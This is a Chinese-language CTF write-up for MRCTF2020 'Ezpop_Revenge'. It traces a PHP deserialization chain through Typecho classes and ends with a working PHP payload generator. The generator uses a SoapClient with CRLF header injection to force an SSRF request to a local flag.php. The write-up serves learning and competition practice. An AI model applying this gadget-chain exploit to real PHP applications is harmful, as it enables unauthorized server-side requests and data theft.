[MRCTF2020]Ezpop_Revenge

首先找到反序列化点

image-20201011182734362

发现flag.php中含有

image-20201011182758619

即要用ssrf内网读取flag

首先找一下反序列化的点,反序列化初始也就是 wakeup destruct

全局搜索下

image-20201011183140206

看了下 两个都不太能成功,所以找一下wakeup

image-20201011183212224

全局只有一个,所以只能从这里跟下了

跟进Typecho_Db

image-20201011183358076

可以发现这里$adapterName可控,造成字符串拼接,会触发toString

全局找一下

image-20201011183457404

审计过后发现只有这里好像可以使用

当Typecho_Db 为SELECT时,会调用$_adapter而这个我们可控,所以让$_adapter为soap类 访问parseSelect方法,而这个方法不存在,触发soap的call方法 本地访问flag.php

所以链子基本很明显了

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query()]);
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
        );
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'ha1c9on^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }

}
$a = serialize(new HelloWorld_DB());
echo base64_encode($a);

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注